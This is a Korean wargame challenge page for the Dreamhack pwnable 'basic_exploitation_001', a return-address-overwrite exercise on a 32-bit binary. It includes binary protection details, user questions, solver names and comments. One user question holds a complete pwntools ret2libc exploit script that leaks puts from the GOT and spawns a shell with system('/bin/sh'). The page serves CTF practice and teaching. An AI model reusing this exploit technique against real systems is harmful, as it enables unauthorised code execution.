LEVEL 1

basic_exploitation_001

pwnable
  • Description
  • Writeups 144
  • Difficulty votes 42
  • Questions 10
  • Solvers 2756
  • Comments 124

Description

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment
Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
Reference

Return Address Overwrite

Author

avatar
Dreamhack
No badge

First Blood!

avatar
mhibio
강의 수강: 1
Solved in just 22 hours!

Difficulty votes 42

Questions 10

Need help? Ask your question and get hints!
Ask Questions
cat /flag 명령에 대한 출력을 recvline 을 이용하는것에 대한 질문
payload를 제출한 후에 read_flag 함수가 실행되면서 flag가 출력이 되기 때문에 p = remote('','') p = remote('') .. 생략 .. flag = p.recvline() print(flag) 이렇게 했는데 Traceback (most recent call last): File "ex.py", line 12, in <module> flag = p.recvline() File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 496, in recvline return self.recvuntil(self.newline, drop = not keepends, timeout = timeout) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 339, in recvuntil res = self.recv(timeout=self.timeout) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 104, in recv return self._recv(numb, timeout) or b'' File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 174, in _recv if not self.buffer and not self._fillbuffer(timeout): File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 153, in _fillbuffer data = self.recv_raw(self.buffer.get_fill_size()) File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/sock.py", line 56, in recv_raw raise EOFError EOFError 이렇게 오류가 발생했습니다. 어차피 입력을 받아오는것인데 왜 오류가 발생하는건가요?? 찾아보니 프로세스에서 데이터를 보내지 않는다고 하긴 합니다만.. 혹시 stdout과 관련이 있는건 아닌가 조심스럽게 추측해 보겠습니다.
kbtommy9
basic_exploitation_001 ROP 풀이
basic_exploitation_001 문제를 ROP를 사용해서 풀어보고 있는데 의문점이 생겨서 올립니다. from pwn import * context.log_level = 'debug' #p = remote('host3.dreamhack.games', 15998) p= process('./basic_exploitation_001') e = ELF('./basic_exploitation_001') libc = ELF('/lib/i386-linux-gnu/libc.so.6') #libc = e.libc #binsh = 0xf7f3d0f5 puts_plt = e.plt['puts'] puts_got = e.got['puts'] main = e.symbols['main'] #dummy = b'AAAA' dummy = p32(0x0804864b) # pop ebp ; ret payload = b'A' * 0x84 + p32(puts_plt) payload += dummy payload += p32(puts_got) payload += p32(main) p.sendline(payload) puts = u32(p.recvn(4)) #print('payload1 : ', payload) print('puts : ', hex(puts)) libc_base = puts - libc.symbols['puts'] binsh = libc_base + 0x1bd0f5 #print('binsh : ' + str(p32(binsh))) system_plt = e.plt['system'] system = libc_base + libc.symbols['system'] payload = b'A' * 0x84 + p32(system_plt) payload += dummy payload += p32(binsh) p.sendline(payload) p.interactive() payload를 작성할 때, ret 주소를 덮어 씌운 다음에 4bytes가 저는 argv[0] 가 들어가있는 자리인줄 알고, dummy로 덮은 다음에 함수 인자 값을 넣어줬습니다. 그런데, 계속 안풀려서, rop gadget 아무거나 찾아서 dummy 자리에 넣어보니까 바로 풀렸습니다. 저 ret 다음 4bytes 공간에 ret 가젯을 안 넣어도 첫 페이로드로 puts got값이 leak이 되는거 보면 dummy를 넣어도 우회가 된다는 소리 같은데, system 함수 호출할 때, ret 가젯을 안넣으면 정상적으로 실행이 안되는 이유를 모르겠습니다. gdb를 통해서 하드코딩한 binsh 값이랑 libc_base leak을 해서 구한 binsh값이랑 동일하게 나옵니다.
전역하고봅시다

Solvers 2756

민수림
No badge
avatar
D3vH4ck5
No badge
한영
No badge
이슨재
No badge
서현
No badge
이도하
No badge
gndo
No badge
쌍무
No badge
mitdog
No badge

Comments 124

매우 쉬운!
eeeez
모나리
No badge
000이 001보다 훨씬 어려워요;
O_F
No badge
좋습니다.
CYBERKAST
No badge
순서 너무한거 아니냐..ㅠㅠ 0번이랑 바꿔!!
catpwn
No badge
000이 001 보다 더 어려웠다.....
sinse100
No badge
ㅅㅅ
l000wk3y
공부벌레
개인적으로는 basic_exploitation_000 과 basic_exploitation_001 는 문제 순서가 봐뀌어야..
l000wk3y
공부벌레
Return_Address_Overwrite 정석 문제
ethan133
No badge
ez~